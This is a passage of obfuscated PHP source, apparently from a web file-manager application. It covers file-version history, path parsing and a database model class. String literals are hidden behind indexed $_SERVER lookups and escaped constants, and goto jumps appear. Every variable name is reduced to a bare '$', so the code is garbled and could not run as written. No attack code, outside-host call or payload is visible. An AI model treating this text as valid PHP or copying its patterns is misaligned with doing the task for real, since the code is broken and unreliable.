(!$) { return; } $ = $[3]; $ = self::checkInHistory($); if (!$) { return; } $ = self::pathHistory($); if ($[$[33]] == $[233]) { $ = self::listData($); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); $ = self::listData($); if ($ && $[$[457]] && $ && $[$[457]]) { return self::clear($); } if ($ && $[$[457]]) { self::moveHistory($, $, $); } } else { IO::move($[$[87]], $, !1, $); self::clearEmptyFolder(IO::pathFather($[$[87]])); } } public static function eventAfterRemove($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[233]) { $ = self::listData($, !1); if ($ && $[$[457]]) { self::clear($, !1); } } else { IO::remove($[$[87]]); self::clearEmptyFolder(IO::pathFather($[$[87]])); } } private static function checkInHistory($) { $ = self::pathHistory($); if (!IO::exist($)) { $ .= $_SERVER[][1332]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($) { $ =& $_SERVER[]; if (!$) { return !1; } if (isset($GLOBALS[$[1333]]) && $GLOBALS[$[1333]]) { return; } $ = KodIO::parse($); $ = $[$[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$[1334]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $[1335])) == DATA_PATH . $[1335]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($); if ($->pathParse[$[1248]]) { return self::parsePath($->pathParse[$[1248]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1336]); foreach ($ as $) { if (!$ && substr($, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$[1243]] . $[1337] . $); return $; } private static function pathHistory($) { $ =& $_SERVER[]; $ = self::$_historyBase . ltrim(KodIO::clear($), $[8]); $ = str_replace(array($[1338]), array($[1339]), $); return $; } public static function log($) { } public static function historyCount($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = get_path_father($); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($); } foreach ($ as $ => $) { $ = self::parsePath($); if (!$) { continue; } foreach ($ as $) { $ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ && $[$[457]]) { $[rtrim($, $[8]) . $[8] . $] = count($[$[457]]); } } } return $; } public static function add($) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ = Model($[860])->get($[1340]); $ = intval($GLOBALS[$[6]][$[92]][$[1318]]); $ = $ == $[1341] ? min(5, $) : $; if ($ <= 0) { return; } $ = IO::info($); $ = $[$[457]]; if ($[$[79]] == 0) { return; } if ($[$[79]] >= 1024 * 1024 * 500) { return !1; } $ = IO::hashSimple($); if ($ && $[0][$[689]] == $) { return !0; } if (array_key_exists($[236], $) && !$[$[236]]) { return !1; } $ = short_id(time()); $ = array($[487] => $, $[689] => $, $[32] => $[$[32]] . $[10] . date($[1342]) . rand_string(1), $[79] => $[$[79]], $[539] => USER_ID, $[234] => time(), $[1343] => $[12]); IO::mkdir($[$[1344]]); $ = IO::copy($, $[$[1344]], !1, $[$[32]]); if (!$) { self::clearEmptyFolder($[$[1344]]); return !1; } array_unshift($, $); if (count($) > $) { $ = array_slice($, $); foreach ($ as $) { IO::remove($[$[1344]] . $[$[32]]); } $ = array_slice($, 0, $); } return self::saveData($[$[1345]], $); } public static function remove($, $) { $ =& $_SERVER[]; $ = self::listData($); $ = array(); if (!$) { return !1; } foreach ($[$[457]] as $) { if ($[$[487]] == $) { IO::remove($[$[1344]] . $[$[32]]); continue; } $[] = $; } return self::saveData($[$[1345]], $); } public static function clear($, $ = true) { $ =& $_SERVER[]; $ = self::listData($, $); if (!$) { return !1; } foreach ($[$[457]] as $) { IO::remove($[$[1344]] . $[$[32]]); } return self::saveData($[$[1345]], array()); } public static function moveHistory($, $ = '', $ = '') { $ =& $_SERVER[]; $ = self::listData($, !1); if (!$ || !$[$[457]]) { return !1; } $ = $[1332]; $ = $ ? $ : get_path_this($); $ = $ ? $ : $[$[1344]]; $ = substr(get_path_this($[$[1345]]), 0, -strlen($)); foreach ($[$[457]] as $ => $) { $ = $ . substr($[$[32]], strlen($)); $ = IO::move($[$[1344]] . $[$[32]], $, !1, $); if ($) { $[$[457]][$][$[32]] = $; } } $[$[1345]] = IO::move($[$[1345]], $, !1, $ . $); self::saveData($[$[1345]], $[$[457]]); self::clearEmptyFolder($[$[1344]]); } public static function rollback($, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ = IO::info($); foreach ($[$[457]] as $ => $) { if ($[$[487]] == $) { self::add($); $ = $[$[1344]] . $[$[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $[$[32]]); if ($) { self::remove($, $); } return $; } } return !1; } public static function setDetail($, $, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } foreach ($[$[457]] as $ => $) { if ($[$[487]] == $) { $[$[457]][$][$[1343]] = $; self::saveData($[$[1345]], $[$[457]]); return !0; } } return !1; } public static function fileInfo($, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { show_json(LNG($[108]), !1); } $ = $[12]; foreach ($[$[457]] as $ => $) { if ($[$[487]] != $) { continue; } $ = $[$[1344]] . $[$[32]]; break; } if (!$) { show_json(LNG($[108]), !1); } return IO::info($); } public static function fileOut($, $, $ = false) { $ =& $_SERVER[]; $ = self::fileInfo($, $); $ =& $GLOBALS[$[7]]; $ = isset($[$[1295]]) && $[$[1295]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1346]) { return IO::fileOutImage($[$[87]], $[$[1347]]); } IO::fileOut($[$[87]], $, get_path_this($)); } public static function listData($, $ = true) { $ =& $_SERVER[]; if ($ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($); $ = array($[1345] => $ . $[1332], $[1344] => rtrim(get_path_father($), $[8]) . $[8], $[457] => array()); $ = IO::getContent($[$[1345]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$[457]] = $; } } return $; } private static function saveData($, $) { $ =& $_SERVER[]; self::log($[1348] . $ . $[74] . count($), $[842]); if ($) { return IO::setContent($, json_encode($)); } $ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($); $ = IO::has($, !0); if ($[$[242]] > 0 || $[$[243]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $ =& $_SERVER[]; $ = Model($[1349])->get($[1350]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $[1335]) { $ = $[1351] . rand_string(8); @rename($, get_path_father($) . $[8] . $); $ = DATA_PATH . $ . $[8]; file_put_contents(DATA_PATH . $[1282], $[12]); Model($[1349])->set($[1350], $); } return $; } $ = DATA_PATH . $[1351] . rand_string(8) . $[8]; $ = IO::mkdir($); $ = rtrim($, $[8]) . $[8]; file_put_contents($ . $[1282], $[12]); file_put_contents(DATA_PATH . $[1282], $[12]); Model($[1349])->set($[1350], $); return $; } } class KodIO { const KOD_SOURCE = "\173\163\x6f\x75\x72\x63\145\x7d"; const KOD_USER_RECYCLE = "\x7b\x75\163\145\162\x52\145\x63\171\x63\x6c\145\x7d"; const KOD_USER_FAV = "\173\x75\163\x65\162\106\x61\166\175"; const KOD_USER_FILE_TAG = "\x7b\165\x73\x65\x72\x46\151\154\x65\x54\x61\x67\175"; const KOD_USER_FILE_TYPE = "\x7b\x75\x73\x65\x72\106\x69\154\145\x54\x79\x70\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\147\x72\x6f\165\160\122\x6f\157\x74\123\145\154\146\175"; const KOD_USER_SHARE = "\173\165\163\x65\162\123\x68\x61\x72\x65\x7d"; const KOD_USER_SHARE_LINK = "\x7b\x75\x73\145\x72\123\150\141\x72\x65\x4c\x69\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\x68\141\x72\x65\x54\157\x4d\145\x7d"; const KOD_SHARE_ITEM = "\173\163\150\x61\162\145\111\164\x65\155\175"; const KOD_SHARE_LINK = "\x7b\x73\x68\141\162\x65\111\164\x65\155\114\x69\x6e\x6b\x7d"; const KOD_SEARCH = "\x7b\x73\145\141\x72\x63\x68\175"; const KOD_BLOCK = "\x7b\142\154\x6f\x63\153\175"; const KOD_IO = "\173\151\x6f\x7d"; const KOD_USER_RECENT = "\173\x75\x73\145\162\122\145\156\x63\x65\156\x74\175"; const KOD_USER_DRIVER = "\173\x64\x72\151\166\145\x72\x7d"; public static function typeList() { $ =& $_SERVER[]; return array($[1352] => self::KOD_SOURCE, $[1353] => self::KOD_USER_RECYCLE, $[1354] => self::KOD_USER_FAV, $[1355] => self::KOD_USER_FILE_TAG, $[1356] => self::KOD_USER_FILE_TYPE, $[1357] => self::KOD_GROUP_ROOT_SELF, $[1358] => self::KOD_USER_SHARE, $[1359] => self::KOD_USER_SHARE_LINK, $[1360] => self::KOD_USER_SHARE_TO_ME, $[1361] => self::KOD_SHARE_ITEM, $[1362] => self::KOD_SHARE_LINK, $[1363] => self::KOD_SEARCH, $[1364] => self::KOD_BLOCK, $[1365] => self::KOD_IO, $[1366] => self::KOD_USER_RECENT, $[1367] => self::KOD_USER_DRIVER); } public static function parse($) { $ =& $_SERVER[]; $ = self::clear($); $ = array_values(self::typeList()); preg_match($[1368], $, $); $ = array($[508] => !1, $[1369] => !1, $[505] => !1, $[87] => $, $[1267] => !1, $[1266] => $[12]); if (is_array($) && count($) == 5) { $ = $[1370] . $[2] . $[414]; if (in_array($, $)) { $[$[1267]] = $[1]; $[$[33]] = $; $[$[1371]] = substr($, 1, -1); $[$[487]] = $[3]; } $[$[1266]] = $[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1334]] = in_array($[$[33]], $); return $; } public static function isTruePath($) { $ =& $_SERVER[]; if (substr($, 0, 1) != $[1370]) { return !0; } if (strpos($, $[495]) === 0) { return !0; } if (strpos($, $[1338]) === 0) { return !0; } if (strpos($, $[1372]) === 0) { return !0; } if (strpos($, $[1373]) === 0) { return !0; } if (strpos($, $[1374]) === 0) { return !0; } return !1; } public static function clear($) { $ =& $_SERVER[]; $ = str_replace(array($[1172], $[288]), $[53], $); $ = str_replace($[100], $[8], $); $ = $[1375]; if (substr($, 0, 3) == $[1376]) { $ = substr($, 3); } while (strstr($, $)) { $ = str_replace($, $[8], $); } $ = preg_replace($[1377], $[8], $); if ($ == $[8]) { return $[8]; } $ = rtrim($, $[8]); return $; } public static function pathTrue($) { $ =& $_SERVER[]; if (!$) { return $[12]; } $ = str_replace($[257], $[8], str_replace($[1378], $[8], $)); $ = str_replace($[257], $[8], str_replace($[1378], $[8], $)); if (!strstr($, $[1376])) { return $; } $ = explode($[8], $); foreach ($ as $ => $) { if ($ !== $[1379]) { continue; } for ($ = $; $ >= 0; $--) { if ($[$] === $[10] || $[$] === $[1379] || $[$] === -1) { continue; } if ($[$] === $[12]) { $[$] = -1; break; } $[$] = -1; $[$] = -1; break; } } $ = array(); foreach ($ as $) { if ($ !== -1) { $[] = $; } } $ = implode($[8], $); if (strpos($, $[1380]) === 0) { $ = $[1376] . substr($, strlen($[1380])); } return $; } public static function pathUrlClear($) { $ =& $_SERVER[]; if (!$) { return $; } $ = rawurldecode($); $ = str_replace($[1378], $[8], $); if (strpos($, $[76]) > 0) { $ = substr($, 0, strpos($, $[76])); } if (strpos($, $[1381]) > 0) { $ = substr($, 0, strpos($, $[1381])); } return $; } public static function sourceID($) { $ =& $_SERVER[]; $ = self::parse($); if ($[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1382]), !1); } return $[$[487]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($) { return self::makePath(self::KOD_USER_FILE_TYPE, $); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($, $ = '', $ = '') { $ =& $_SERVER[]; $ = substr($, 1, -1); $ = $[1383] . $ . $[1384] . $ . $[1385]; $ = $ ? $ . $ . $[8] : $; return $; } public static function hashPath($, $ = false) { $ =& $_SERVER[]; $ = is_array($) ? $ : IO::info($); $ = _get($, $[1386], $[12]); if (!$ && isset($[$[238]])) { $ = trim($[$[238]], $[121]); } if ($) { return $; } if (!$ && isset($[$[194]]) && $[$[194]]) { $ = IO::info(KodIO::make($[$[194]])); $ = _get($, $[1386], $[12]); } $ = md5($[$[87]] . $[$[79]] . $[$[88]]); $ = $ . $[1387]; $ = $ ? $ : Cache::get($); if (!$ && $) { $ = IO::hashSimple($[$[87]]); Cache::set($, $ ? $ : $, 3600 * 24 * 30); } return $ ? $ : $; } public static function hashPathSafe($, $ = false) { $ =& $_SERVER[]; $ = self::hashPath($, $); return md5($ . $[1388] . Model($[860])->get($[861])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1389])) { return; } define($[1389], self::systemPath($[192])); define($[1390], self::systemPath($[1391])); define($[1392], self::systemPath($[1393])); define($[1394], self::systemPath($[1395])); IOHistory::bindEvent(); } public static function systemPath($) { $ =& $_SERVER[]; $ = $[1396] . ucfirst($); $ = Model($[860])->get($); if ($) { return $; } if ($ == $[192]) { $ = self::make(Model($[920])->systemRootPathAdd($[622])); } else { $ = self::systemPath($[192]); $ = self::sourceID($); $ = self::make(Model($[920])->mkdir($, $)); } Model($[860])->set($, $); return $; } public static function systemFolder($) { $ = IO_PATH_SYSTEM_SOURCE . $; $ = Cache::get($); if (!$) { $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($, REPEAT_SKIP); } else { $ = $[$_SERVER[][87]]; } Cache::set($, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][857])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $ = self::defaultDriver(); return $[1397] . $[$[487]] . $[1385]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[1398]]; foreach ($ as $ => $) { $ = $[1399] . $; $ = LNG($); if ($ != $) { $[$][$[32]] = $; } } return $; } public static function diskList($ = true) { $ = $_SERVER[][1400]; if ($) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $ =& $_SERVER[]; $ = array(); if ($GLOBALS[$[6]][$[1401]] == $[1402]) { $ = $[1403]; for ($ = 0; $ < strlen($); $++) { $ = $[$] . $[1404]; if (file_exists($)) { $[] = $; } } return $; } if (!function_exists($[101])) { $[] = $[931]; return $; } $ = explode($[288], shell_exec($[1405])); array_shift($); array_pop($); $ = array($[1406], $[1407], $[1408], $[1409], $[1410], $[1411], $[1412], $[1413]); foreach ($ as $) { $ = preg_split($[1414], $); $ = $[count($) - 1]; if (!strstr($[0], $[1415]) || !$) { continue; } $ = rtrim($, $[8]) . $[8]; if (in_array($, $)) { continue; } $[] = $; } return $; } public static function isSameDisk($, $) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1401]] == $[1402]) { return strtolower(substr($, 0, 1)) == strtolower(substr($, 0, 1)); } $ = stat($); $ = stat($); if ($ === !1 || $ === !1) { return !1; } return $[$[1416]] === $[$[1416]]; $ = self::diskList(); $ = !1; $ = !1; sort($); $ = array_reverse($); $ = rtrim($, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($ as $) { $ = strlen($); if (!$ && substr($, 0, $) == $) { $ = $; } if (!$ && substr($, 0, $) == $) { $ = $; } if ($ && $) { break; } } return $ === $; } public static function transferType($, $) { $ =& $_SERVER[]; $ = self::driverType($); $ = self::driverType($); if ($[$[33]] == $[$[33]] && $[$[1417]] == $[$[1417]]) { return $[1418]; } if ($[$[33]] == $[965] && $[$[33]] == $[109]) { return $[1295]; } if ($[$[33]] == $[109] && $[$[33]] == $[965]) { return $[110]; } return $[1419]; } public static function driverType($) { $ =& $_SERVER[]; $ = str_replace($[1420], $[12], strtolower($->getType())); if ($ == $[847] || $ == $[1421] || $ == $[1422]) { $ = self::defaultDriverInit(); } else { if ($ == $[1305] || $ == $[1423]) { $ = IO::init($->pathParse[$[1248]]); } } $ = $->path; $ = str_replace($[1420], $[12], strtolower($->getType())); if ($ == $[109]) { return array($[33] => $[109], $[1417] => $[12], $[87] => $, $[98] => $); } return array($[33] => $[965], $[1417] => $->pathDriver, $[87] => $, $[98] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[]; $ = $ ? self::driverType(IO::init($)) : !1; return strtolower($[$[33]]) == $[109] ? !0 : !1; } public static function allowCover($, $ = true) { $ =& $_SERVER[]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$[33]] == $[78] || $[$[79]] <= 100) { return !1; } if (isset($[$[1424]]) || !$[$[87]]) { return !1; } if (isset($[$[235]]) && !$[$[235]]) { return !1; } static $ = false; if (!$ || !$) { $ = self::driverType(IO::init($[$[87]])); $ = $[$[98]]; $ = $[197]; if ($[$[33]] == $[109]) { $ = $[1425]; } if ($[$[98]] && is_array($[$[98]]->config)) { $ = $[$[98]]->config; if (isset($[$[1426]]) && $[$[1426]]) { $ = $[1425]; } } $ = KodIO::defaultDriver(); if (strtolower($[$[98]]) == $[109] && is_array($[$[6]])) { $ = $[$[6]][$[1278]]; if (substr($, 0, 2) == $[1427]) { $ = str_replace($[1427], BASIC_PATH, $); } $ = str_replace($[257], $[8], $); if (substr($[$[87]], 0, strlen($)) == $) { $ = $[197]; } } } return $ == $[1425] ? !0 : !1; } } goto b; e: define($_SERVER[][332], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\x62\x6c\145", "\157\162\x64\x65\162", "\x61\154\151\141\x73", "\150\x61\166\x69\156\x67", "\x67\162\157\165\x70", "\x6c\x6f\x63\153", "\x64\x69\x73\x74\151\x6e\143\164", "\x61\x75\x74\157", "\146\x69\154\164\x65\162", "\x76\141\x6c\151\x64\141\x74\x65", "\162\x65\163\165\x6c\x74", "\142\151\156\144", "\164\157\153\145\156"); public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($)) { if (strpos($, $[10])) { list($this->dbName, $this->name) = explode($[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[333]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[334])) { $ = $this->dbName ? $this->dbName : think_config($[335]); $ = think_var_cache($[336] . strtolower(get_path_this($) . $[10] . $this->name)); if ($) { $ = think_config($[337]); if (empty($) || $[$[338]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$[339]] = !1; foreach ($ as $ => $) { $[$] = $[$[33]]; if ($[$[39]]) { $this->fields[$[340]] = $; if ($[$[42]]) { $this->fields[$[339]] = !0; } } } $this->fields[$[341]] = $; if (think_config($[337])) { $this->fields[$[338]] = think_config($[337]); } if (think_config($[334])) { $ = $this->dbName ? $this->dbName : think_config($[335]); think_var_cache($[336] . strtolower(get_path_this($) . $[10] . $this->name), $this->fields); } } public function switchModel($, $ = array()) { $ =& $_SERVER[]; $ = ucwords(strtolower($)) . $[342]; if (!class_exists($)) { think_exception($ . think_lang($[343])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[344], $[345], $[346], $[347], $[348]), !0)) { $ = isset($[0]) ? $[0] : $[223]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[349] . $ . $[350] . $, $[344]); } elseif (strtolower(substr($, 0, 5)) == $[351]) { $ = think_parse_name(substr($, 5)); $[$] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $[352]) { $ = think_parse_name(substr($, 10)); $[$] = $[0]; return $this->where($)->getField($[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_